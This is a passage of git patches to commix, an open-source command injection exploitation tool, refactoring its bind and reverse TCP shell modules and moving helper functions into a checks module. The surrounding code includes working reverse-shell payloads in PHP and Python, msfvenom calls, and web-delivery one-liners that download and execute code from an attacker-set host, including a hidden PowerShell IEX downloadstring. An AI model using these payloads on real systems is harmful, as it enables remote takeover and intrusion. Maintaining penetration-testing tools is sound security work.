bind_tcp_options(separator): - - while True: - bind_tcp_option = _input("""""" + Style.BRIGHT + """Available bind TCP shell options:""" + Style.RESET_ALL + """ + settings.print_data_to_stdout(Style.BRIGHT + """Available bind TCP shell options:""" + Style.RESET_ALL + """ """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' for netcat bind TCP shells. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for other bind TCP shells. -commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp""" + Style.RESET_ALL + """) > """) - +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for other bind TCP shells. """) + while True: + bind_tcp_option = _input("""commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp""" + Style.RESET_ALL + """) > """) if bind_tcp_option.lower() == "bind_tcp": warn_msg = "You are into the '" + bind_tcp_option.lower() + "' mode." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) @@ -455,7 +314,7 @@ def bind_tcp_options(separator): elif bind_tcp_option == '1' : bind_tcp_option = netcat_version(separator) if bind_tcp_option.lower() not in settings.SHELL_OPTIONS: - common.shell_success("bind") + checks.shell_success("bind") break elif bind_tcp_option.lower() in settings.SHELL_OPTIONS: return bind_tcp_option @@ -465,18 +324,17 @@ def bind_tcp_options(separator): elif bind_tcp_option == '2' : bind_tcp_option = other_bind_shells(separator) if bind_tcp_option.lower() not in settings.SHELL_OPTIONS: - common.shell_success("bind") + checks.shell_success("bind") break # Check for available shell options elif any(option in bind_tcp_option.lower() for option in settings.SHELL_OPTIONS): - if shell_options(bind_tcp_option): - return shell_options(bind_tcp_option) + if checks.shell_options(bind_tcp_option): + return checks.shell_options(bind_tcp_option) # Invalid option else: - common.invalid_option(bind_tcp_option) + checks.invalid_option(bind_tcp_option) continue - return bind_tcp_option """ @@ -507,7 +365,7 @@ def configure_bind_tcp(separator): break elif option[0:4].lower() == "set ": if option[4:10].lower() == "rhost ": - if check_rhost(option[10:]): + if checks.check_rhost(option[10:]): if len(settings.LPORT) == 0: pass else: @@ -520,7 +378,7 @@ def configure_bind_tcp(separator): settings.print_data_to_stdout(settings.print_error_msg(err_msg)) continue elif option[4:10].lower() == "lport ": - if check_lport(option[10:]): + if checks.check_lport(option[10:]): if len(settings.RHOST) == 0: pass else: @@ -528,10 +386,10 @@ def configure_bind_tcp(separator): else: continue else: - common.invalid_option(option) + checks.invalid_option(option) pass else: - common.invalid_option(option) + checks.invalid_option(option) pass # eof \ No newline at end of file diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index a373eb1d75..0dce4bd1bf 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -26,163 +26,11 @@ from src.utils import update from src.utils import settings from src.core.compat import xrange +from src.core.injections.controller import checks from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.colorama import Fore, Back, Style, init -""" -Check for available shell options. -""" -def shell_options(option): - if option.lower() == "reverse_tcp": - warn_msg = "You are into the '" + option.lower() + "' mode." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - elif option.lower() == "?": - menu.reverse_tcp_options() - elif option.lower() == "quit" or option.lower() == "exit": - raise SystemExit() - elif option[0:4].lower() == "set ": - if option[4:10].lower() == "lhost ": - check_lhost(option[10:]) - if option[4:10].lower() == "rhost ": - err_msg = "The '" + option[4:9].upper() + "' option, is not " - err_msg += "usable for 'reverse_tcp' mode. Use 'LHOST' option." - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) - if option[4:10].lower() == "lport ": - check_lport(option[10:]) - if option[4:12].lower() == "srvport ": - check_srvport(option[12:]) - if option[4:12].lower() == "uripath ": - check_uripath(option[12:]) - else: - return option - -# Payload generation message. -def gen_payload_msg(payload): - info_msg = "Generating the '" + payload + "' shellcode. " - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - - -""" -Error msg if the attack vector is available only for Windows targets. -""" -def windows_only_attack_vector(): - error_msg = "This attack vector is available only for Windows targets." - settings.print_data_to_stdout(settings.print_error_msg(error_msg)) - -""" -Message regarding the MSF handler. -""" -def msf_launch_msg(output): - info_msg = "Type \"msfconsole -r " + os.path.abspath(output) + "\" (in a new window)." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - info_msg = "Once the loading is done, press here any key to continue..." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - sys.stdin.readline().replace("\n", "") - # Remove the ouput file. - os.remove(output) - -""" -Set up the PHP working directory on the target host. -""" -def set_php_working_dir(): - while True: - message = "Do you want to use '" + settings.WIN_PHP_DIR - message += "' as PHP working directory on the target host? [Y/n] > " - php_dir = common.read_input(message, default="Y", check_batch=True) - if php_dir in settings.CHOICE_YES: - break - elif php_dir in settings.CHOICE_NO: - message = "Please provide a custom working directory for PHP (e.g. '" + settings.WIN_PHP_DIR + "') > " - settings.WIN_PHP_DIR = common.read_input(message, default=settings.WIN_PHP_DIR, check_batch=True) - settings.USER_DEFINED_PHP_DIR = True - break - else: - common.invalid_option(php_dir) - pass - -""" -Set up the Python working directory on the target host. -""" -def set_python_working_dir(): - while True: - message = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER - message += "' as Python interpreter on the target host? [Y/n] > " - python_dir = common.read_input(message, default="Y", check_batch=True) - if python_dir in settings.CHOICE_YES: - break - elif python_dir in settings.CHOICE_NO: - message = "Please provide a full path directory for Python interpreter (e.g. '" + settings.WIN_CUSTOM_PYTHON_INTERPRETER + "') > " - settings.WIN_PYTHON_INTERPRETER = common.read_input(message, default=settings.WIN_CUSTOM_PYTHON_INTERPRETER, check_batch=True) - settings.USER_DEFINED_PYTHON_DIR = True - break - else: - common.invalid_option(python_dir) - pass - -""" -Set up the Python interpreter on linux target host. -""" -def set_python_interpreter(): - while True: - message = "Do you want to use '" + settings.LINUX_PYTHON_INTERPRETER - message += "' as Python interpreter on the target host? [Y/n] > " - python_interpreter = common.read_input(message, default="Y", check_batch=True) - if python_interpreter in settings.CHOICE_YES: - break - elif python_interpreter in settings.CHOICE_NO: - message = "Please provide a custom working interpreter for Python (e.g. '" + settings.LINUX_CUSTOM_PYTHON_INTERPRETER + "') > " - settings.LINUX_PYTHON_INTERPRETER = common.read_input(message, default=settings.LINUX_CUSTOM_PYTHON_INTERPRETER, check_batch=True) - settings.USER_DEFINED_PYTHON_INTERPRETER = True - break - else: - common.invalid_option(python_interpreter) - pass - -""" -check / set lhost option for reverse TCP connection -""" -def check_lhost(lhost): - settings.LHOST = lhost - settings.print_data_to_stdout("LHOST => " + settings.LHOST) - return True - -""" -check / set lport option for reverse TCP connection -""" -def check_lport(lport): - try: - if float(lport): - settings.LPORT = lport - settings.print_data_to_stdout("LPORT => " + settings.LPORT) - return True - except ValueError: - err_msg = "The provided port must be numeric (i.e. 1234)" - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) - return False - -""" -check / set srvport option for reverse TCP connection -""" -def check_srvport(srvport): - try: - if float(srvport): - settings.SRVPORT = srvport - settings.print_data_to_stdout("SRVPORT => " + settings.SRVPORT) - return True - except ValueError: - err_msg = "The provided port must be numeric (i.e. 1234)" - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) - return False - -""" -check / set uripath option for reverse TCP connection -""" -def check_uripath(uripath): - settings.URIPATH = uripath - settings.print_data_to_stdout("URIPATH => " + settings.URIPATH) - return True - """ Set up the netcat reverse TCP connection """ @@ -199,14 +47,13 @@ def netcat_version(separator): "nc.openbsd" ] - while True: - nc_version = _input("""""" + Style.BRIGHT + """Available netcat reverse TCP shell options:""" + Style.RESET_ALL + """ + settings.print_data_to_stdout(Style.BRIGHT + """Available netcat reverse TCP shell options:""" + Style.RESET_ALL + """ """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use the default Netcat on target host. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use Netcat for Busybox on target host. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use Netcat-Traditional on target host. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use Netcat-Openbsd on target host. -commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp_netcat""" + Style.RESET_ALL + """) > """) - +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use Netcat-Openbsd on target host.""") + while True: + nc_version = _input("""commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp_netcat""" + Style.RESET_ALL + """) > """) # Default Netcat if nc_version == '1': nc_alternative = NETCAT_ALTERNATIVES[0] @@ -225,27 +72,14 @@ def netcat_version(separator): break # Check for available shell options elif any(option in nc_version.lower() for option in settings.SHELL_OPTIONS): - if shell_options(nc_version): - return shell_options(nc_version) + if checks.shell_options(nc_version): + return checks.shell_options(nc_version) # Invalid option else: - common.invalid_option(nc_version) + checks.invalid_option(nc_version) continue - while True: - message = "Do you want to use '/bin' standard subdirectory? [y/N] > " - enable_bin_dir = common.read_input(message, default="N", check_batch=True) - if enable_bin_dir in settings.CHOICE_NO: - break - elif enable_bin_dir in settings.CHOICE_YES : - nc_alternative = "/bin/" + nc_alternative - shell = "/bin/" + shell - break - elif enable_bin_dir in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(enable_bin_dir) - pass + nc_alternative, shell = checks.use_bin_subdir(nc_alternative, shell) if nc_version != '4': # Netcat with -e @@ -263,9 +97,7 @@ def netcat_version(separator): [1] http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet """ def other_reverse_shells(separator): - - while True: - other_shell = _input("""""" + Style.BRIGHT + """Available generic reverse TCP shell options:""" + Style.RESET_ALL + """ + settings.print_data_to_stdout(Style.BRIGHT + """Available generic reverse TCP shell options:""" + Style.RESET_ALL + """ """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use a PHP reverse TCP shell. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use a Perl reverse TCP shell. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use a Ruby reverse TCP shell. @@ -278,9 +110,9 @@ def other_reverse_shells(separator): """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """9""" + Style.RESET_ALL + """' to use a PHP meterpreter reverse TCP shell. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """10""" + Style.RESET_ALL + """' to use a Python meterpreter reverse TCP shell. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """11""" + Style.RESET_ALL + """' to use a meterpreter reverse TCP shell (windows). -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """12""" + Style.RESET_ALL + """' to use the web delivery script. -commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp_other""" + Style.RESET_ALL + """) > """) - +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """12""" + Style.RESET_ALL + """' to use the web delivery script.""") + while True: + other_shell = _input("""commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp_other""" + Style.RESET_ALL + """) > """) # PHP-reverse-shell if other_shell == '1': other_shell = "php -r '$sock=fsockopen(\"" + settings.LHOST + "\"," + settings.LPORT + ");" \ @@ -313,7 +145,7 @@ def other_reverse_shells(separator): # Python-reverse-shell elif other_shell == '4': if not settings.USER_DEFINED_PYTHON_INTERPRETER: - set_python_interpreter() + checks.set_python_interpreter() other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c 'import socket,subprocess,os%0d" \ "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)%0d" \ "s.connect((\"" + settings.LHOST + "\"," + settings.LPORT + "))%0d" \ @@ -366,11 +198,11 @@ def other_reverse_shells(separator): "globals(), __import__('contextlib'))" if not settings.TARGET_OS == settings.OS.WINDOWS: - windows_only_attack_vector() + checks.windows_only_attack_vector() continue else: if not settings.USER_DEFINED_PYTHON_DIR: - set_python_working_dir() + checks.set_python_working_dir() other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" break @@ -408,11 +240,11 @@ def other_reverse_shells(separator): "exploit\n\n") if settings.TARGET_OS == settings.OS.WINDOWS and not settings.USER_DEFINED_PHP_DIR: - set_php_working_dir() + checks.set_php_working_dir() other_shell = settings.WIN_PHP_DIR + " -r " + data else: other_shell = "php -r \"" + data + "\"" - msf_launch_msg(output) + checks.msf_launch_msg(output) except: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) break @@ -453,13 +285,13 @@ def other_reverse_shells(separator): if settings.TARGET_OS == settings.OS.WINDOWS: if not settings.USER_DEFINED_PYTHON_DIR: - set_python_working_dir() + checks.set_python_working_dir() other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" else: if not settings.USER_DEFINED_PYTHON_INTERPRETER: - set_python_interpreter() + checks.set_python_interpreter() other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" - msf_launch_msg(output) + checks.msf_launch_msg(output) except: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) break @@ -467,24 +299,23 @@ def other_reverse_shells(separator): # Powershell injection attacks elif other_shell == '11': if not settings.TARGET_OS == settings.OS.WINDOWS: - windows_only_attack_vector() + checks.windows_only_attack_vector() continue else: - while True: - windows_reverse_shell = _input("""""" + Style.BRIGHT + """Available powershell injection options:""" + Style.RESET_ALL + """ + settings.print_data_to_stdout(Style.BRIGHT + """Available powershell injection options:""" + Style.RESET_ALL + """ """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use shellcode injection with native x86 shellcode. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use TrustedSec's Magic Unicorn. -commix(""" + Style.BRIGHT + Fore.RED + """windows_meterpreter_reverse_tcp""" + Style.RESET_ALL + """) > """) - +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use TrustedSec's Magic Unicorn.""") + while True: + windows_reverse_shell = _input("""commix(""" + Style.BRIGHT + Fore.RED + """windows_meterpreter_reverse_tcp""" + Style.RESET_ALL + """) > """) if any(option in windows_reverse_shell.lower() for option in settings.SHELL_OPTIONS): - if shell_options(windows_reverse_shell): - return shell_options(windows_reverse_shell) + if checks.shell_options(windows_reverse_shell): + return checks.shell_options(windows_reverse_shell) elif windows_reverse_shell == '1' : output = "powershell_attack.rc" elif windows_reverse_shell == '2' : output = "powershell_attack.txt" else: - common.invalid_option(windows_reverse_shell) + checks.invalid_option(windows_reverse_shell) continue if not os.path.exists(settings.METASPLOIT_PATH): @@ -496,7 +327,7 @@ def other_reverse_shells(separator): # Shellcode injection with native x86 shellcode if windows_reverse_shell == '1': - gen_payload_msg(payload) + checks.gen_payload_msg(payload) try: proc = subprocess.Popen("msfvenom -p " + str(payload) + " LHOST=" + str(settings.LHOST) + " LPORT=" + str(settings.LPORT) + " -f c -o " + output + ">/dev/null 2>&1", shell=True).wait() with open(output, 'r') as content_file: @@ -513,7 +344,7 @@ def other_reverse_shells(separator): "set lhost " + str(settings.LHOST) + "\n" "set lport " + str(settings.LPORT) + "\n" "exploit\n\n") - msf_launch_msg(output) + checks.msf_launch_msg(output) except: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) break @@ -539,7 +370,7 @@ def other_reverse_shells(separator): if len(unicorn_version) == 0: unicorn_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '../../', 'thirdparty/unicorn')) os.chdir(unicorn_path) - gen_payload_msg(payload) + checks.gen_payload_msg(payload) subprocess.Popen("python unicorn.py" + settings.SINGLE_WHITESPACE + str(payload) + settings.SINGLE_WHITESPACE + str(settings.LHOST) + settings.SINGLE_WHITESPACE + str(settings.LPORT) + ">/dev/null 2>&1", shell=True).wait() with open(output, 'r') as content_file: other_shell = content_file.read().replace('\n', '') @@ -553,7 +384,7 @@ def other_reverse_shells(separator): "set lhost " + str(settings.LHOST) + "\n" "set lport " + str(settings.LPORT) + "\n" "exploit\n\n") - msf_launch_msg("unicorn.rc") + checks.msf_launch_msg("unicorn.rc") # Return to the current path. os.chdir(current_path) except: @@ -565,16 +396,15 @@ def other_reverse_shells(separator): # Web delivery script elif other_shell == '12': - while True: - web_delivery = _input("""""" + Style.BRIGHT + """Available web delivery script options:""" + Style.RESET_ALL + """ + settings.print_data_to_stdout(Style.BRIGHT + """Available web delivery script options:""" + Style.RESET_ALL + """ """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use Python meterpreter reverse TCP shell. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use PHP meterpreter reverse TCP shell. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use meterpreter reverse TCP shell (windows). -commix(""" + Style.BRIGHT + Fore.RED + """web_delivery""" + Style.RESET_ALL + """) > """) - +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use meterpreter reverse TCP shell (windows).""") + while True: + web_delivery = _input("""commix(""" + Style.BRIGHT + Fore.RED + """web_delivery""" + Style.RESET_ALL + """) > """) if any(option in web_delivery.lower() for option in settings.SHELL_OPTIONS): - if shell_options(web_delivery): - return shell_options(web_delivery) + if checks.shell_options(web_delivery): + return checks.shell_options(web_delivery) elif web_delivery == '1': payload = "python/meterpreter/reverse_tcp" elif web_delivery == '2': @@ -582,7 +412,7 @@ def other_reverse_shells(separator): elif web_delivery == '3': payload = "windows/meterpreter/reverse_tcp" else: - common.invalid_option(web_delivery) + checks.invalid_option(web_delivery) continue if not os.path.exists(settings.METASPLOIT_PATH): @@ -606,38 +436,38 @@ def other_reverse_shells(separator): data = "import sys%3bimport ssl%3bu%3d__import__('urllib'%2b{2%3a'',3%3a'.request'}[sys.version_info[0]],fromlist%3d('urlopen',))%3br%3du.urlopen('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "',context%3dssl._create_unverified_context())%3bexec(r.read())%3b" if settings.TARGET_OS == settings.OS.WINDOWS: if not settings.USER_DEFINED_PYTHON_DIR: - set_python_working_dir() + checks.set_python_working_dir() other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" else: if not settings.USER_DEFINED_PYTHON_INTERPRETER: - set_python_interpreter() + checks.set_python_interpreter() other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" - msf_launch_msg(output) + checks.msf_launch_msg(output) break elif web_delivery == '2': if settings.TARGET_OS == settings.OS.WINDOWS and not settings.USER_DEFINED_PHP_DIR: - set_php_working_dir() + checks.set_php_working_dir() other_shell = settings.WIN_PHP_DIR + " -d allow_url_fopen=true -r eval(file_get_contents('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "'));" else: other_shell = "php -d allow_url_fopen=true -r \"eval(file_get_contents('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "'));\"" - msf_launch_msg(output) + checks.msf_launch_msg(output) break elif web_delivery == '3': if not settings.TARGET_OS == settings.OS.WINDOWS: - windows_only_attack_vector() + checks.windows_only_attack_vector() continue else: other_shell = "powershell -nop -w hidden -c $x=new-object net.webclient;$x.proxy=[Net.WebRequest]::GetSystemWebProxy(); $x.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials; IEX $x.downloadstring('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "');" - msf_launch_msg(output) + checks.msf_launch_msg(output) break break # Check for available shell options elif any(option in other_shell.lower() for option in settings.SHELL_OPTIONS): - if shell_options(other_shell): - return shell_options(other_shell) + if checks.shell_options(other_shell): + return checks.shell_options(other_shell) # Invalid option else: - common.invalid_option(other_shell) + checks.invalid_option(other_shell) continue return other_shell @@ -647,12 +477,11 @@ def other_reverse_shells(separator): """ def reverse_tcp_options(separator): - while True: - reverse_tcp_option = _input("""""" + Style.BRIGHT + """Available reverse TCP shell options:""" + Style.RESET_ALL + """ + settings.print_data_to_stdout(Style.BRIGHT + """Available reverse TCP shell options:""" + Style.RESET_ALL + """ """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' for netcat reverse TCP shells. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for other reverse TCP shells. -commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp""" + Style.RESET_ALL + """) > """) - +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for other reverse TCP shells.""") + while True: + reverse_tcp_option = _input("""commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp""" + Style.RESET_ALL + """) > """) if reverse_tcp_option.lower() == "reverse_tcp": warn_msg = "You are into the '" + reverse_tcp_option.lower() + "' mode." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) @@ -662,7 +491,7 @@ def reverse_tcp_options(separator): elif reverse_tcp_option == '1' : reverse_tcp_option = netcat_version(separator) if reverse_tcp_option.lower() not in settings.SHELL_OPTIONS: - common.shell_success("reverse") + checks.shell_success("reverse") break elif reverse_tcp_option.lower() in settings.SHELL_OPTIONS: return reverse_tcp_option @@ -672,15 +501,15 @@ def reverse_tcp_options(separator): elif reverse_tcp_option == '2' : reverse_tcp_option = other_reverse_shells(separator) if reverse_tcp_option.lower() not in settings.SHELL_OPTIONS: - common.shell_success("reverse") + checks.shell_success("reverse") break # Check for available shell options elif any(option in reverse_tcp_option.lower() for option in settings.SHELL_OPTIONS): - if shell_options(reverse_tcp_option): - return shell_options(reverse_tcp_option) + if checks.shell_options(reverse_tcp_option): + return checks.shell_options(reverse_tcp_option) # Invalid option else: - common.invalid_option(reverse_tcp_option) + checks.invalid_option(reverse_tcp_option) continue return reverse_tcp_option @@ -713,7 +542,7 @@ def configure_reverse_tcp(separator): break elif option[0:4].lower() == "set ": if option[4:10].lower() == "lhost ": - if check_lhost(option[10:]): + if checks.check_lhost(option[10:]): if len(settings.LPORT) == 0: pass else: @@ -726,7 +555,7 @@ def configure_reverse_tcp(separator): settings.print_data_to_stdout(settings.print_error_msg(err_msg)) continue elif option[4:10].lower() == "lport ": - if check_lport(option[10:]): + if checks.check_lport(option[10:]): if len(settings.LHOST) == 0: pass else: @@ -734,14 +563,14 @@ def configure_reverse_tcp(separator): else: continue elif option[4:12].lower() == "srvport ": - check_srvport(option[12:]) + checks.check_srvport(option[12:]) elif option[4:12].lower() == "uripath ": - check_uripath(option[12:]) + checks.check_uripath(option[12:]) else: - common.invalid_option(option) + checks.invalid_option(option) pass else: - common.invalid_option(option) + checks.invalid_option(option) pass # eof \ No newline at end of file diff --git a/src/utils/common.py b/src/utils/common.py index 4b07d3f391..6210a51a55 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -27,20 +27,6 @@ from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib -""" -Invalid option msg -""" -def invalid_option(option): - err_msg = "'" + option + "' is not a valid answer." - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) - -""" -Success msg. -""" -def shell_success(option): - info_msg = "Everything is in place. Cross your fingers and check for " + option + " shell on port " + settings.LPORT + "." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - """ Invalid cmd output """ @@ -48,26 +34,29 @@ def invalid_cmd_output(cmd): err_msg = "The execution of '" + cmd + "' command, does not return any output." return err_msg +""" +Invalid option msg +""" +def invalid_option(option): + err_msg = "'" + option + "' is not a valid answer." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + """ Reads input from terminal """ def read_input(message, default=None, check_batch=True): - def is_empty(): value = _input(settings.print_message(message)) if len(value) == 0: return default else: return value - try: value = None if "\n" in message: message += ("\n" if message.count("\n") > 1 else "") - elif len(message) == 0: return is_empty() - if settings.ANSWERS: if not any(_ in settings.ANSWERS for _ in ",="): return is_empty() @@ -81,14 +70,12 @@ def is_empty(): return value elif answer is None and value: return is_empty() - if value: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Used the given answer." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) settings.print_data_to_stdout(settings.print_message(message + str(value))) return value - elif value is None: if check_batch and menu.options.batch: settings.print_data_to_stdout(settings.print_message(message + str(default))) diff --git a/src/utils/settings.py b/src/utils/settings.py index ca013c8de1..11e3f04d2d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "93" +REVISION = "94" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 94842b2c78c66ccf8460c4a6414ab29f9151958c Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 9 Sep 2024 17:36:11 +0300 Subject: [PATCH 0494/1023] Fixes --- src/core/shells/bind_tcp.py | 10 +++++----- src/core/shells/reverse_tcp.py | 14 +++++++------- src/utils/settings.py | 2 +- 3 files changed, 13 insertions(+), 13 deletions(-) diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index 4441072970..bd1c622c4a 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -71,7 +71,7 @@ def netcat_version(separator): return checks.shell_options(nc_version) # Invalid command else: - checks.invalid_option(nc_version) + common.invalid_option(nc_version) continue nc_alternative, shell = checks.use_bin_subdir(nc_alternative, shell) @@ -291,7 +291,7 @@ def other_bind_shells(separator): return checks.shell_options(other_shell) # Invalid option else: - checks.invalid_option(other_shell) + common.invalid_option(other_shell) continue return other_shell @@ -332,7 +332,7 @@ def bind_tcp_options(separator): return checks.shell_options(bind_tcp_option) # Invalid option else: - checks.invalid_option(bind_tcp_option) + common.invalid_option(bind_tcp_option) continue return bind_tcp_option @@ -386,10 +386,10 @@ def configure_bind_tcp(separator): else: continue else: - checks.invalid_option(option) + common.invalid_option(option) pass else: - checks.invalid_option(option) + common.invalid_option(option) pass # eof \ No newline at end of file diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index 0dce4bd1bf..e901ee2a6f 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -76,7 +76,7 @@ def netcat_version(separator): return checks.shell_options(nc_version) # Invalid option else: - checks.invalid_option(nc_version) + common.invalid_option(nc_version) continue nc_alternative, shell = checks.use_bin_subdir(nc_alternative, shell) @@ -315,7 +315,7 @@ def other_reverse_shells(separator): elif windows_reverse_shell == '2' : output = "powershell_attack.txt" else: - checks.invalid_option(windows_reverse_shell) + common.invalid_option(windows_reverse_shell) continue if not os.path.exists(settings.METASPLOIT_PATH): @@ -412,7 +412,7 @@ def other_reverse_shells(separator): elif web_delivery == '3': payload = "windows/meterpreter/reverse_tcp" else: - checks.invalid_option(web_delivery) + common.invalid_option(web_delivery) continue if not os.path.exists(settings.METASPLOIT_PATH): @@ -467,7 +467,7 @@ def other_reverse_shells(separator): return checks.shell_options(other_shell) # Invalid option else: - checks.invalid_option(other_shell) + common.invalid_option(other_shell) continue return other_shell @@ -509,7 +509,7 @@ def reverse_tcp_options(separator): return checks.shell_options(reverse_tcp_option) # Invalid option else: - checks.invalid_option(reverse_tcp_option) + common.invalid_option(reverse_tcp_option) continue return reverse_tcp_option @@ -567,10 +567,10 @@ def configure_reverse_tcp(separator): elif option[4:12].lower() == "uripath ": checks.check_uripath(option[12:]) else: - checks.invalid_option(option) + common.invalid_option(option) pass else: - checks.invalid_option(option) + common.invalid_option(option) pass # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index 11e3f04d2d..bbf8bc1eb0 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "94" +REVISION = "95" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 82957ef245149391adc97a37502eef33316fa907 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 17 Sep 2024 18:08:26 +0300 Subject: [PATCH 0495/1023] Minor update --- src/core/injections/controller/checks.py | 8 ++++++-- src/core/main.py | 2 ++ src/utils/settings.py | 2 +- 3 files changed, 9 insertions(+), 3 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index c28f089abb..59cf81bfde 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -903,7 +903,7 @@ def continue_tests(err): # Ignoring (problematic) HTTP error codes. if len(settings.IGNORE_CODE) != 0 and any(str(x) in str(err).lower() for x in settings.IGNORE_CODE): return True - + # Possible WAF/IPS try: if (str(err.code) == 